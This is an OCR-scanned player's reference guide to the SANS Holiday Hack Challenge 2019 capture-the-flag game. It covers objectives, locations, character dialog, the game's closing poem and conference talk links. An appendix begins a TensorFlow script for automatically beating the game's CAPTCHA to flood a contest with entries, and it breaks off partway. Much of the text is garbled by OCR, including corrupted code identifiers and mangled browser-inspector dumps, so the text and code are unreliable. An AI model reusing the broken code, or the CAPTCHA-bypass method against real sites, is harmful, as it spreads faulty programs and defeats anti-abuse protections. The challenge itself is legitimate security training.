("RID") success value that you're given. For hints on
achieving this objective, please visit the Sleigh
Shop and talk with Wunorse Openslae.

& 12) Filter Out Poisoned Sources of
Weather Data

pifficulty: F Y

Use the data supplied in the Zeek JSON logs to
identify the IP addresses of attackers poisoning
Santa's fTlight mapping software. Block the 1080
offending sources of information to guide Santa's
sleigh through the attack. Submit the Route ID
("RID") success value that you're given. For hints on
achieving this objective, please visit the Sleigh
Shop and talk with Wunorse Openslae.

Congratulations! You have completed
the Filter Out Poisoned Sources of
Weather Data challenge!
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" After completing Objective 12, the door to the Bell Tower is open and you climb the ladder that leads to the End Game...

el
™Y, g
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End Game

You did it!
Through your diligent efforts, vyou

brought the Tooth Fairy to justice
You Won!

and saved the holidays!
Congratulations!

Bask in the pure joy of 80's Everybody Wants to Rule the World
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'Speak to the three characters for the final message and unlock of the last Narrative sections:

Santa Final:

You did it! Thank you! You uncovered the sinister plot to destroy the holiday season!

Through your diligent efforts, we’ve brought the Tooth Fairy to justice and saved the holidays!
Ho Ho Ho!

The more I laugh, the more | fill with glee.

And the more the glee,

The more I'm a merrier me!

Merry Christmas and Happy Holidays.

Krampus Final:

Congratulations on a job well done!

Oh, by the way, | won the Frido Sleigh contest.

I got 31.8% of the prizes, though I'll have to figure that out.

The Tooth Fairy Final:
You foiled my dastardly plan! I’'m ruined!
And | would have gotten away with it too, if it weren't for you meddling kids!

There also two additional items of note on this screen:

e Thereis a Tooth NPC:

LT" Ulnspectur Consola DDebugger ‘N- MNetwork [} Style Editor mPerformanca ﬂ
Q .camera

b <div class="ent npc npc-krampus-lastroom p-1-3" (s </divs
b <div class="ent npc npc-toothfairy-lastroom p-5-2"» (= </div>
p <div class="ent npc npc-santa-lastroom p-3-17» - <fdivs
w <div class="ent npc npc-tosth p--17
w <div class="xpos x&"»
w <div class="ypos ye™
w <div class="zpos 217
sername”>Toothe/div>
«div class="npc-avatar"></divs event
div ss="shadow’ diwv
<fdive
<fdiv>

PYNENN

html > body > div#root > div.hhc-game-elements > div.env-productionviewpart.v-finale.ope.. » div.camera
Tooth Dialog:

I'm Jason!
Also, a tooth!

e Letter of Wintry Magic pdf:

® O inspector ) Console [ Debugger T Network {} StyleEditor (D) Performance {0 Memory [ Storage T Accessibilty &5
Q .camera [ IR AR

ediv class="side-bit™c/div>
v class="teef"»</div

<div class="teef-bag™</div>
<div class="ladder"></

loads .elfu.org/Letterofwintrymagic. pdf" target="_blank” rel="noopener noreferrer*>notec/a>

</div>

</div>
b <V class="chat-parent™s i ¢/divs (grid
» <div cless="hhc-actionbar™ e </div>
</divs
cdiu classa"hhe-harkeround "< /divs

htmi > body > divroot > div.hhc-game-elements > div.env-product rtu-final > div.camera > afinal-note
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Complete Narrative:

Whose grounds these are, | think | know
His home is in the North Pole though
He will not mind me traipsing here
To watch his students learn and grow
Some other folk might stop and sneer
"Two turtle doves, this man did rear?"
I'll find the birds, come push or shove
Objectives given: I'll soon clear
Upon discov'ring each white dove,
The subject of much campus love,

I find the challenges are more
Than one can count on woolen glove.
Who wandered thus through closet door?
Ho ho, what's this? What strange boudoir!
Things here cannot be what they seem
That portal's more than clothing store.
Who enters contests by the ream
And lives in tunnels meant for steam?
This Krampus bloke seems rather strange
And yet | must now join his team...
Despite this fellow's funk and mange
My fate, | think, he's bound to change.
What is this contest all about?
His victory | shall arrange!

To arms, my friends! Do scream and shout!
Some villain targets Santa's route!
What scum - what filth would seek to end
Kris Kringle's journey while he's out?
Surprised, | am, but "shock" may tend
To overstate and condescend.

'Tis little more than plot reveal
That fairies often do extend
And yet, despite her jealous zeal,

My skills did win, my hacking heal!

No dental dealer can so keep
Our red-clad hero in ordeal!

This Christmas must now fall asleep,
But next year comes, and troubles creep.
And Jack Frost hasn't made a peep,
And Jack Frost hasn't made a peep...
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SANS Holiday Hack Challenge 2019

KringleCon 2: Turtle Doves

Direction
Ed Skoudis

Yechnical Pead

Joshua Wright

Sarvative / ﬁ?‘my

Ed Skoudis

https://www.youtube.com/watch?v=B1FMJdqqLiM
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https://www.youtube.com/watch?v=B1FMJdqqLiM

Reference - Locations

Location - Train Station

You start your Elf University Journey here.

1. Characters in this location:
a. Santa
b. Bushy Evergreen

2. Challenges:
a. Escape Ed

Location - The Quad

This is the next section you visit and the central hub that connects other EIf University locations. From the Quad, you can reach
Hermey Hall (west), Student Union (north), and the Dorm (east).

1. Characters in this location:
a. Santa (umbrella)

b. Tangle Coalbox

2. Challenges:
a. Frosty Keypad (solve to enter the Dorm)

3. Artifacts:
a. LetterToElfUPersonnel.pdf (Objective 2)
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Location - Student Union: Main
This is located on the north side of the Quad.

1. Characters in this location:
a. Michael and Jane - Two Turtle Doves
b. Kent Tinseltooth
c. Shinny Upatree

2. Challenges:
a. Find Two Turtle Doves
b. Smart Braces
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Location - Hermey Hall: Main

This is located on the west side of the Quad. It contains speaker Tracks 1-7, Netwars, Speaker Unpreparedness Room, and the

Laboratory.

1. Characters in this location:
a. SugarPlum Mary

2. Challenges:
a. Linux Path

3. Artifacts:

a. KringleCon2019_SpeakerAgenda.pdf

KEYNOTE
SPEAKER

HOLIDAY HACK
CHALLENGE DIRECTOR

Katie Knowles
How to (Holiday) Hack It:
Tips for Crushing CTFs & Pwning Pentests
Track 2

James Brodsky
Dashing Through the Logs
Track 3

Chris Elgee
Web Apps: A Trailhead
Track 4

Deviant Ollam
Optical Decoding of Keys
Track 5

Dave Kennedy
Telling Stories from the Narth Pole
Track 6

Heather Mahalik
When Malware Goes Maobile,
Quick Detection is Critical
Track 7

Speakergenda

John Strand
A Hunting We Must Go
Track 1

Ed Skoudis
Start Here: Welcome to KringleCon 2
Track 1

Snow
Santa’s Naughty List:
Holiday Themed Social Engineering
Track 2

Ron Bowes
Reversing Crypto the Easy Way
Track 3

Chris Davis
Machine Learning Use Cases for Cybersecurity
Track 4

lan Coldwater
Learning to Escape Containers
Track 5

Mark Baggelt
Logs? Where We're Going, We Don’'t Need Logs.
Track 6

John Hammond
5 Steps to Build and Lead a
Team of Holly Jolly Hackers
Track 7

Lesley Carhart
Over 90,000:
Ups and Downs of my InfoSec Twitter Journey
Track 7

HOLIDRY HACK 7)7711C)
CHALLENGE &Y
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Location - Hermey Hall: NetWars

This is located inside Hermey Hall

1. Characters in this location:
a. Holly Evergreen

2. Challenges:
a. Mongo Pilfer

Location - Hermey Hall: Speaker Unpreparedness Room

This is located inside Hermey Hall

1. Characters in this location:
a. Alabaster Snowball

2. Challenges:
a. Nyanshell

Mz Smowbell
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Location - Hermey Hall: Track 1

This is located inside Hermey Hall

1. Speaker Talks in this Room:
a. Ed Skoudis - Start Here: Welcome to KringleCon 2 - https://www.youtube.com/watch?v=iUF5pBv7ukM
b. John Strand - A Hunting We Must Go - https://www.youtube.com/watch?v=ix0Z5u2CYWw

T e T
Kl » ;LECON 2

Speaker:

Location - Hermey Hall: Track 2

This is located inside Hermey Hall

1. Speaker Talks in this Room:
a. Katie Knowles - How to (Holiday) Hack It: Tips for Crushing CTFs & Pwning Pentests - https://www.youtube.com/watch?v=c02mH7F1xvU
b.  Snow - Santa's Naughty List: Holiday Themed Social Engineering - https://www.youtube.com/watch?v=HKLSmbOXJRU

§ TEowiestRE R (TG ISk IFOH
) CRISHING CTFS +
P » G PENTESTS

Speaker:

KRTIE KNJWLES,
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Location - Hermey Hall: Track 3

This is located inside Hermey Hall

1. Speaker Talks in this Room:
a. James Brodsky - Dashing Through the Logs - https://www.youtube.com/watch?v=gblhHhRKQCw
b. Ron Bowes - Reversing Crypto the Easy Way - https://www.youtube.com/watch?v=o0bJdpKDpFBA

3 b.mwes. Revﬁsﬁ]—f?ﬁrfﬁ-éiﬁﬂk ’
» iY WRY

Speaker:
AON BOWES
7455

Location - Hermey Hall: Track 4

This is located inside Hermey Hall

1. Speaker Talks in this Room:
a. Chris Elgee - Web Apps: A Trailhead - https://www.youtube.com/watch?v=0T6-DQtzCgM
b.  Chris Davis - Machine Learning Use Cases for Cybersecurity - https://www.youtube.com/watch?v=imVPLwjm zs

Igee, webWEﬁE’vaﬂﬂFlFﬁE.: H

o s
ﬁ% P TAILHEAD
Speaker:

s Wiy CHRIGEGEE
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Location - Hermey Hall: Track 5

This is located inside Hermey Hall

1. Speaker Talks in this Room:
a. Deviant Ollam - Optical Decoding of Keys - https://www.youtube.com/watch?v=KU6FJnbkelLA
b. lan Coldwater - Learning to Escape Containers

6 %tollam, Optiﬁa‘l‘Eeth‘w%'b‘o‘[“ﬁ?-ﬁ\... H
» " KEYS

Speaker:
T
DEVIAN ‘Egthﬂh[J]

Location - Hermey Hall: Track 6

This is located inside Hermey Hall

1. Speaker Talks in this Room:
a. Dave Kennedy - Telling Stories from the North Pole - https://www.youtube.com/watch?v=9QuOhRGvryc
b. Mark Baggett - Logs? Where We're Going, We Don't Need Logs - https://www.youtube.com/watch?v=Dx7800bfiBM

fiBaggett, LogstWherd wete lgoing & 3
WE RE GOING, WE
D > NEED LOGS.

Speaker:
MARK BEGGETY,
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Location - Hermey Hall: Track 7

This is located inside Hermey Hall

1. Speaker Talks in this Room:
a. Heather Mahalik - When Malware Goes Mobile, Quick Detection is Critical - https://www.youtube.com/watch?v=IEbLOvVT4Fts
b. John Hammond - 5 Steps to Build and Lead a Team of Holly Jolly Hackers - https://www.youtube.com/watch?v=D5Nwg84cV1E
c. Lesley Carhart - Over 90,000 Ups and Downs of my InfoSec Twitter Journey - https://www.youtube.com/watch?v=RplOa IgXvk

é_ ther Mahalik, \WEEMA EpES 1.
w pIcK DETECTION
» CRITICAL

Speaker:

Location - Hermey Hall: The Laboratory

This is located inside Hermey Hall

1. Characters in this location:
a. Professor Banas
b. Sparkle Redberry

2. Challenges:
a. Xmas Cheer Laser
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Location - Dorm: Main

This is located on the east side of the Quad. Frosty Keypad challenge must be solved first before entry is allowed

1. Characters in this location:
a. Pepper Minstix
b. Minty Candycane

2. Challenges:
a. Graylog
b. Holiday Hack Trail

Location - Dorm: Minty's Dorm Room

This is located inside the Dorm area. Last open room door on the east side of the Dorm.

1. Characters in this location:
a. Scampering Krampus

2. Challenges:
a. Get Access to the Steam Tunnels/Key Bitting Cutter
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Location - Dorm: Minty's Closet & Secret Passage (THISISIT)

This is located inside the Dorm area and inside Minty's dorm room.

1. Characters in this location:
a. None

2. Challenges:
a. Get Access to the Steam Tunnels/Lock

Location - Steam Tunnels

This is located inside the Dorm area and accessed through Minty's closet.

1. Characters in this location:
a. Krampus Hollyfeld

2. Challenges:
a. Frido Sleigh Contest
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Location - Student Union: Sleigh Workshop

This is located inside the Student Union area and accessed through the Sleigh Shop door. Objective 11 must be solved before the

Sleigh Shop door will open and you can access this area.

1. Characters in this location:
a. The Tooth Fairy
b. Wunorse Openslae
c. Krampus Hollyfeld

2. Challenges:
a. Zeek JSON Analysis

b. Sleigh Route Finder

WianevEe CpenEEE
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Location - The Bell Tower
This is located inside the Student Union area and accessed through the Bell Tower Access door in the Sleigh Shop. Objective 12 must
be solved before the Bell Tower Access door will open and you can access this area.
1. Characters in this location:
a. Santa
b. The Tooth Fairy (Orange Jumpsuit)
c. Krampus Hollyfeld
d. Tooth
2. Artifacts:
a. https://downloads.elfu.org/LetterOfWintryMagic.pdf
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| 4
Reference - Characters

Characters - Train Station - Santa
Santa is the first character you meet in the game upon arriving at the Train Station. He provides the following dialog:

Picture:

g

|
=]

[

Dialog:

Welcome to the North Pole and KringleCon 2!

Last year, KringleCon hosted over 17,500 attendees and my castle got a little crowded.
We moved the event to Elf University (EIf U for short), the North Pole’s largest venue.
Please feel free to explore, watch talks, and enjoy the con!

Unlocks:
Narrative 1 of 10

Characters - Train Station - Bushy Evergreen

Picture:

Dialog:

Initial and Introduction to Escape Ed Challenge:

Hi, I'm Bushy Evergreen. Welcome to EIf U!

I'm glad you're here. I'm the target of a terrible trick.
Pepper Minstix is at it again, sticking me in a text editor.
Pepper is forcing me to learn ed.

Even the hint is ugly. Why can't | just use Gedit?

Please help me just quit the grinchy thing.

Hint for Objective 3:

Wow, that was much easier than I'd thought.

Maybe | don't need a clunky GUI after all!

Have you taken a look at the password spray attack artifacts?
I'll bet that DeepBlueCLl tool is helpful.

You can check it out on GitHub.

It was written by that Eric Conrad.

He lives in Maine - not too far from here!

Introduces Challenge:
Escape Ed
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Characters - The Quad - Santa (Umbrella)

Picture:

Dialog:

Initial and Introduction to Objective 1

This is a little embarrassing, but | need your help.

Our KringleCon turtle dove mascots are missing!

They probably just wandered off.

Can you please help find them?

To help you search for them and get acquainted with KringleCon, I’'ve created some objectives for you. You can see them in your badge.
Where's your badge? Oh! It's that big, circle emblem on your chest - give it a tap!

We made them in two flavors - one for our new guests, and one for those who've attended both KringleCons.
After you find the Turtle Doves and complete objectives 2-5, please come back and let me know.

Not sure where to start? Try hopping around campus and talking to some elves.

If you help my elves with some quicker problems, they'll probably remember clues for the objectives.

Thank you for finding Jane and Michael, our two turtle doves!

After Objective 1-5 Completed:

I've got an uneasy feeling about how they disappeared.

Turtle doves wouldn’t wander off like that.

Someone must have stolen them! Please help us find the thief!
It’s a moral imperative!

I think you should look for an entrance to the steam tunnels and solve Challenge 6 and 7 too!
Gosh, | can’t help but think:

Winds in the East, snow coming in...

Like something is brewing and about to begin!

Can’t put my finger on what lies in store,

But | fear what’s to happen all happened before!

Unlocks:

Narrative 2 of 10

Objectives 1 - 5 (initial)

Objectives 6-12 (after 1-5 are completed)
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Characters - The Quad - Tangle Coalbox

Picture:

i |II
n

Dialog:
Initial and Introduction to Frosty Keypad Challenge
Hey kid, it's me, Tangle Coalbox.
I'm sleuthing again, and | could use your help.
Ya see, this here number lock's been popped by someone.
I think | know who, but it'd sure be great if you could open this up for me.
I've got a few clues for you.
1. One digit is repeated once.
2. The code is a prime number.
3. You can probably tell by looking at the keypad which buttons are used.

Introduces Challenge:
Frosty Keypad

Characters - Hermey Hall: Main - SugarPlum Mary

Picture:

Dialog:
Initial and Introduction to Linux Path Challenge
Oh me oh my - | need some help!
I need to review some files in my Linux terminal, but | can't get a file listing.
I know the command is Is, but it's really acting up.
Do you think you could help me out? As you work on this, think about these questions:
1. Do the words in green have special significance?
2.  How can I find a file with a specific name?
3. What happens if there are multiple executables with the same name in my SPATH?

Hint for Objective 4:

Oh there they are! Now | can delete them. Thanks!

Have you tried the Sysmon and EQL challenge?

If you aren't familiar with Sysmon, Carlos Perez has some great info about it.

Haven't heard of the Event Query Language?

Check out some of Ross Wolf's work on EQL or that blog post by Josh Wright in your badge.

Introduces Challenge:
Linux Path
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Characters - Hermey Hall: NetWars - Holly Evergreen

Picture:

y

o

=

g
[-¥-]

e

Dialog:

Initial and Introduction to Mongo Pilfer Challenge

Hey! It's me, Holly Evergreen! My teacher has been locked out of the quiz database and can't remember the right solution.
Without access to the answer, none of our quizzes will get graded.

Can we help get back in to find that solution?

I tried Isof -i, but that tool doesn't seem to be installed.

I think there's a tool like ps that'll help too. What are the flags | need?

Either way, you'll need to know a teensy bit of Mongo once you're in.

Pretty please find us the solution to the quiz!

Hint for Objective 10:

Woohoo! Fantabulous! I'll be the coolest elf in class.

On a completely unrelated note, digital rights management can bring a hacking elf down.
That ElfScrow one can really be a hassle.

It's a good thing Ron Bowes is giving a talk on reverse engineering!

That guy knows how to rip a thing apart. It's like he breathes opcodes!

Introduces Challenge:
Mongo Pilfer

Characters - Hermey Hall: Speaker UNpreparedness Room - Alabaster Snowball

Picture:

Dialog:

Initial and Introduction to Nyanshell Challenge:

Welcome to the Speaker UNpreparedness Room!

My name's Alabaster Snowball and | could use a hand.

I'm trying to log into this terminal, but something's gone horribly wrong.

Every time | try to log in, | get accosted with ... a hatted cat and a toaster pastry?

I thought my shell was Bash, not flying feline.

When | try to overwrite it with something else, | get permission errors.

Have you heard any chatter about immutable files? And what is sudo - telling me?

Hint for Objective 8:

Who would do such a thing?? Well, it IS a good looking cat.
Have you heard about the Frido Sleigh contest?

There are some serious prizes up for grabs.
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The content is strictly for elves. Only elves can pass the CAPTEHA challenge required to enter.
I heard there was a talk at KCIl about using machine learning to defeat challenges like this.
I don't think anything could ever beat an elf though!

Introduces Challenge:
Nyanshell

Characters - Hermey Hall: The Laboratory - Professor (Carl) Banas

Picture:

Dialog:

Initial and Introduction for Objective 6

Hi, I'm Dr. Banas, professor of Cheerology at EIf University.

This term, I'm teaching "HOL 404: The Search for Holiday Cheer in Popular Culture," and I've had quite a shock!

I was at home enjoying a nice cup of Glagg when | had a call from Kent, one of my students who interns at the EIf U SOC.

Kent said that my computer has been hacking other computers on campus and that | needed to fix it ASAP!

If I don't, he will have to report the incident to the boss of the SOC.

Apparently, | can find out more information from this website https.//splunk.elfu.org/ with the username: elf / Password: elfsocks.
I don't know anything about computer security. Can you please help me?

After Completing Objective 6:

Oh, thanks so much for your help! Sorry | was freaking out.
I've got to talk to Kent about using my email again...
...and picking up my dry cleaning.

Unlocks:
Objective 6

Characters - Hermey Hall: The Laboratory - Sparkle Redberry

Picture:

Dialog:

Initial and Introduction to Xmas Cheer Laser Challenge:
I'm Sparkle Redberry and Imma chargin' my laser!
Problem is: the settings are off.

Do you know any PowerShell?

It'd be GREAT if you could hop in and recalibrate this thing.
It spreads holiday cheer across the Earth ...

... when it's working!
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Hint for Objective 5:

You got it - three cheers for cheer!

For objective 5, have you taken a look at our Zeek logs?

Something's gone wrong. But | hear someone named Rita can help us.
Can you and she figure out what happened?

Introduces Challenge:
Xmas Cheer Laser

Characters - Student Union - Michael and Jane - Two Turtle Doves

Picture:

Dialog:
Hoot Hooot?

Unlocks:
Narrative 3 of 10

Characters - Student Union: Main - Kent Tinseltooth

Picture:

]

i
1

e

¥t
|1
1

I
Dialog:

Initial and Introduction to Smart Braces Challenge:

I'll bet you can keep other students out of my head, so to speak.
It might just take a bit of Iptables work.

OK, this is starting to freak me out!

Oh sorry, I'm Kent Tinseltooth. My Smart Braces are acting up.
Do... Do you ever get the feeling you can hear things? Like, voices?
I know, | sound crazy, but ever since | got these... Oh!

Do you think you could take a look at my Smart Braces terminal?
I'll bet you can keep other students out of my head, so to speak.

It might just take a bit of Iptables work.

Hint for Objective 11:

Oh thank you! It's so nice to be back in my own head again. Er, alone.

By the way, have you tried to get into the crate in the Student Union? It has an interesting set of locks.
There are funny rhymes, references to perspective, and odd mentions of eggs!

And if you think the stuff in your browser looks strange, you should see the page source...

Special tools? No, | don't think you'll need any extra tooling for those locks.

BUT - I'm pretty sure you'll need to use Chrome's developer tools for that one.

Or sorry, you're a Firefox fan?
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Yeah, Safari's fine too - | just have an ineffible hunger for a physical Esc key.
Edge? That's cool. Hm? No no, | was thinking of an unrelated thing.

Curl fan? Right on! Just remember: the Windows one doesn't like double quotes.
Old school, huh? Oh sure - I've got what you need right here...

And | hear the Holiday Hack Trail game will give hints on the last screen if you complete it on Hard.

Introduces Challenge:
Smart Braces

Characters - Student Union: Main - Shinny Upatree

Picture:

AL

Dialog:
Initial:
Hey there.

Introduction to Objective 11:

Psst - hey!

I'm Shinny Upatree, and | know what's going on!

Yeah, that's right - guarding the sleigh shop has made me privvy to some serious, high-level intel.
In fact, | know WHO is causing all the trouble.

Cindy? Oh no no, not that who. And stop guessing - you'll never figure it out.

The only way you could would be if you could break into my crate, here.

You see, I've written the villain's name down on a piece of paper and hidden it away securely!

Introduction to Objective 12:

Wha - what?? You got into my crate?!

Well that's embarrassing...

But you know what? Hmm... If you're good enough to crack MY security...
Do you think you could bring this all to a grand conclusion?

Please go into the sleigh shop and see if you can finish this off!

Stop the Tooth Fairy from ruining Santa's sleigh route!

Introduces Challenge:
Objective 11 (Crate Challenge)
Objective 12 (Filter out Poison Sources of Weather Data Challenge)
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Characters - Dorm: Main - Pepper Minstix

Picture:

¢e
ol Bo

Dialog:

Initial and Introduction to the Graylog Challenge:

It's me - Pepper Minstix.

Normally I'm jollier, but this Graylog has me a bit mystified.

Have you used Graylog before? It is a log management system based on Elasticsearch, MongoDB, and Scala.
Some EIf U computers were hacked, and I've been tasked with performing incident response.

Can you help me fill out the incident response report using our instance of Graylog?

It's probably helpful if you know a few things about Graylog.

Event IDs and Sysmon are important too. Have you spent time with those?

Don't worry - I'm sure you can figure this all out for me!

Click on the All messages Link to access the Graylog search interface!

Make sure you are searching in all messages!

The EIf U Graylog server has an integrated incident response reporting system. Just mouse-over the box in the lower-right corner.
Login with the username elfustudent and password elfustudent.

Hint for Objective 9:

That's it - hooray!

Have you had any luck retrieving scraps of paper from the Elf U server?
Have you had any luck retrieving scraps of paper from the EIf U server?
You might want to look into SQL injection techniques.

Introduces Challenge:
Graylog

Characters - Dorm: Main - Minty Candycane

Picture:

Dialog:

Initial and Introduction to Holiday Hack Trail Challenge:
Hi! I'm Minty Candycane!

I just LOVE this old game!

I found it on a 5 1/4" floppy in the attic.

You should give it a go!

If you get stuck at all, check out this year's talks.

One is about web application penetration testing.
Good luck, and don't get dysentery!

Introduces Challenge:
Holiday Hack Trail
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Characters - Dorm: Minty Candycane Dorm Room - Krampus (Hollyfeld)

Picture:

Dialog:
None (He scampers away...)

Introduces Challenge:
Steam Tunnels/Bitting Key Cutter

Objective 7
Narrative 4 of 10

Characters - Steam Tunnels - Krampus (Hollyfeld)

Picture:

Dialog:

Initial:

Hello there! I’'m Krampus Hollyfeld.

I maintain the steam tunnels underneath EIf U,

Keeping all the elves warm and jolly.

Though | spend my time in the tunnels and smoke,

In this whole wide world, there's no happier bloke!

Yes, | borrowed Santa’s turtle doves for just a bit.

Someone left some scraps of paper near that fireplace, which is a big fire hazard.

| sent the turtle doves to fetch the paper scraps.

But, before | can tell you more, | need to know that | can trust you.

Tell you what — if you can help me beat the Frido Sleigh contest (Objective 8), then I'll know I can trust you.
The contest is here on my screen and at fridosleigh.com.

No purchase necessary, enter as often as you want, so | am!

They set up the rules, and lately, | have come to realize that | have certain materialistic, cookie needs.
Unfortunately, it's restricted to elves only, and | can't bypass the CAPTEHA.

(That's Completely Automated Public Turing test to tell Elves and Humans Apart.)

I've already cataloged 12,000 images and decoded the APl interface.

Can you help me bypass the CAPTEHA and submit lots of entries?

Unlock of Objective 9 and Steam Tunnel Teleportation:

You did it! Thank you so much. | can trust you!

To help you, | have flashed the firmware in your badge to unlock a useful new feature: magical teleportation through the steam tunnels.
As for those scraps of paper, | scanned those and put the images on my server.

I then threw the paper away.

Unfortunately, | managed to lock out my account on the server.

Hey! You’ve got some great skills. Would you please hack into my system and retrieve the scans?
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I give you permission to hack into it, solving Objective 9 in your badge.
And, as long as you're traveling around, be sure to solve any other challenges you happen across.

Unlock of Objective 10:

Wow! We’ve uncovered quite a nasty plot to destroy the holiday season.

We’ve gotta stop whomever is behind it!

I managed to find this protected document on one of the compromised machines in our environment.
| think our attacker was in the process of exfiltrating it.

I’m convinced that it is somehow associated with the plan to destroy the holidays. Can you decrypt it?
There are some smart people in the NetWars challenge room who may be able to help us.

Introduces Challenge:

Objective 8

Objective 9

Objective 10

Narrative 5 of 10

Narrative 6 of 10 (After Objective 8)
Narrative 7 of 10 (After Objective 10)

Characters - Student Union: Sleigh Shop - Wunorse Openslae

Picture:

Dialog:

Initial and Introduction to Zeek JSON Analysis Challenge:

Wunorse Openslae here, just looking at some Zeek logs.

I'm pretty sure one of these connections is a malicious C2 channel...
Do you think you could take a look?

I hear a lot of C2 channels have very long connection times.

Please use jq to find the longest connection in this data set.

We have to kick out any and all grinchy activity!

Hint for Objective 12:

That's got to be the one - thanks!

Hey, you know what? We've got a crisis here.

You see, Santa's flight route is planned by a complex set of machine learning algorithms which use available weather data.

All the weather stations are reporting severe weather to Santa's Sleigh. | think someone might be forging intentionally false weather data!
I'm so flummoxed | can't even remember how to login!

Hmm... Maybe the Zeek http.log could help us.

| worry about LFI, XSS, and SQLi in the Zeek log - oh my!

And I'd be shocked if there weren't some shell stuff in there too.

Introduces Challenge:
Zeek JSON Analysis
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" Characters - Student Union: Sleigh Shop - The Tooth Fairy

Picture:

Dialog:

I’m the Tooth Fairy, the mastermind behind the plot to destroy the holiday season.

| hate how Santa is so beloved, but only works one day per year!

He has all of the resources of the North Pole and the elves to help him too.

I run a solo operation, toiling year-round collecting deciduous bicuspids and more from children.

But | get nowhere near the gratitude that Santa gets. He needs to share his holiday resources with the rest of us!
But, although you found me, you haven’t foiled my plot!

Santa’s sleigh will NOT be able to find its way.

| will get my revenge and respect!

I want my own holiday, National Tooth Fairy Day, to be the most popular holiday on the calendar!!!

Unlocks:
Narrative 8 of 10

Characters - Student Union: Sleigh Shop - Krampus (Hollyfeld)

Picture:

8
S,

Dialog:
But there’s still time! Solve the final challenge in your badge by blocking the bad IPs at srf.elfu.org and save the holiday season!

Introduces Challenge:
Objective 12

Characters - The Bell Tower - Santa

Picture:

Dialog:
You did it! Thank you! You uncovered the sinister plot to destroy the holiday season!
Through your diligent efforts, we’ve brought the Tooth Fairy to justice and saved the holidays!
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Ho Ho Ho!

The more I laugh, the more | fill with glee.
And the more the glee,

The more I'm a merrier me!

Merry Christmas and Happy Holidays.

Unlocks:

Narrative 9 of 10
Narrative 10 of 10

Characters - The Bell Tower - Krampus (Hollyfeld)

Picture:

Dialog:

Congratulations on a job well done!

Oh, by the way, | won the Frido Sleigh contest.

| got 31.8% of the prizes, though I'll have to figure that out.

Characters - The Bell Tower - The Tooth Fairy (Orange Jumpsuit)

Picture:

Dialog:
You foiled my dastardly plan! I’'m ruined!
And | would have gotten away with it too, if it weren't for you meddling kids!

Characters - The Bell Tower - Tooth

Picture:

Q

Dialog:
I'm Jason!
Also, a tooth!
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Interactive Objects - Student Union - Google Booth

Image:

Dialog:
Google is a proud sponsor of KringleCon and the Holiday Hack Challenge. We wish you a happy holiday hacking season.

You can try clicking on it, but sometimes a vent is just a vent.

Interactive Objects - Student Union - SANS.edu Booth

Image:

Dialog:
Happy holidays from the best college in cybersecurity. Brilliant minds like yours belong at SANS.edu.

Interactive Objects - Student Union - Splunk Booth
Image:

sp}unk)
The Data-to-Everything Platform

Bring et " ivery xmetion, deciion. sl action,

splunk> Ssplunks’  splunk>

Dialog:
Splunk is proud to be a contributor to KringleCon and the Holiday Hack Challenge. Happy holidays from the Splunk security team!
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Interactive Objects - Student Union - SWAG Booth
Image:
Dialog:
Want some KringleCon swag?
A

Profit? No, we don't make anything on swag sales.

Interactive Objects - Hermey Hall - Speaker Agenda Display

Artifact:

https://downloads.elfu.orqg/KringleCon2019 SpeakerAgenda.pdf
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Narrative

Narrative 1 of 10

Whose grounds these are, | think | know
His home is in the North Pole though

He will not mind me traipsing here

To watch his students learn and grow

Unlocked:
Train Station - speaking to Santa for the first time

Narrative 2 of 10

Some other folk might stop and sneer
"Two turtle doves, this man did rear?"
I'll find the birds, come push or shove
Objectives given: I'll soon clear

Unlocked:
The Quad - speaking to Santa (umbrella) for the first time

Narrative 3 of 10

Upon discov'ring each white dove,
The subject of much campus love,

| find the challenges are more

Than one can count on woolen glove.

Unlocked:
Student Union - interacting with the two Turtle Doves for the first time

Narrative 4 of 10

Who wandered thus through closet door?
Ho ho, what's this? What strange boudoir!
Things here cannot be what they seem
That portal's more than clothing store.

Unlocked:
Entering Minty's Dorm Room/Scampering Krampus for the first time

Narrative 5 of 10

Who enters contests by the ream

And lives in tunnels meant for steam?
This Krampus bloke seems rather strange
And yet | must now join his team...

Unlocked:
Talking to Krampus in the Steam Tunnels for the first time
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Narrative 6 of 10

Despite this fellow's funk and mange
My fate, | think, he's bound to change.
What is this contest all about?

His victory I shall arrange!

Unlocked:
Talking to Krampus in the Steam Tunnels after solving Objective 8 Frido Sleigh

Narrative 7 of 10

To arms, my friends! Do scream and shout!
Some villain targets Santa's route!

What scum - what filth would seek to end
Kris Kringle's journey while he's out?

Unlocked:
Talking to Krampus in the Steam Tunnels after solving Objective 10 Recover Cleartext Document

Narrative 8 of 10

Surprised, | am, but "shock" may tend
To overstate and condescend.

'Tis little more than plot reveal

That fairies often do extend

Unlocked:
Talking to The Tooth Fairy in the Sleigh Shop

Narrative 9 of 10

And yet, despite her jealous zeal,
My skills did win, my hacking heal!
No dental dealer can so keep

Our red-clad hero in ordeal!

Unlocked:
Reaching the Bell Tower and talking to Santa

Narrative 10 of 10

This Christmas must now fall asleep,

But next year comes, and troubles creep.
And Jack Frost hasn't made a peep,

And Jack Frost hasn't made a peep.

Unlocked:
Reaching the Bell Tower and talking to Santa
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Appendix

Code can also be found here after January 13,2020: https://github.com/deckerXL/SANSHolidayHackChallenge2019

Code - Objective 8 - capteha_api.py

#!/usr/bin/env python3

# Fridosleigh.com CAPTEHA API - Made by Krampus Hollyfeld / Modified by deckerXL
import requests

import json

import sys

import base64

import os

os.environ['TF_CPP_MIN LOG_LEVEL'] = '3'

import tensorflow as tf

tf.compat.vl.logging.set verbosity(tf.compat.vl.logging.ERROR)
import numpy as np

from threading import Thread, enumerate

from datetime import datetime

import queue

import time

YOUrREALEMAai1AAAress = "k * %k kkk ko kkxokok ok ok k kx4 410

# Optimizations

NUM_PARALLEL_EXEC_UNITS = 6

config = tf.compat.vl.ConfigProto(intra op_parallelism threads=NUM PARALLEL EXEC_UNITS, inter op parallelism threads=16, allow_soft placement=True,
device count = {'GPU': 1})

def load graph (model file):

graph = tf.Graph ()

graph def = tf.compat.vl.GraphDef ()

with open(model file, "rb") as f:
graph_def.ParseFromString (f.read())

with graph.as_default():
tf.import graph def (graph_def)

return graph

def load_labels(label_file):
label = []
proto_as_ascii lines = tf.compat.vl.gfile.GFile (label file).readlines()
for 1 in proto_as_ascii_lines:
label.append(l.rstrip())
return label

def predict_image (g, sess, graph, image bytes, img_uuid, labels, input operation, output operation, img_types):

input_height = 299

input_width = 299

input_mean =0

input_std = 255

image reader = tf.image.decode png( image bytes, channels=3, name="png reader")

float caster = tf.cast(image reader, tf.float32)

dims_expander = tf.expand dims(float_caster, 0)

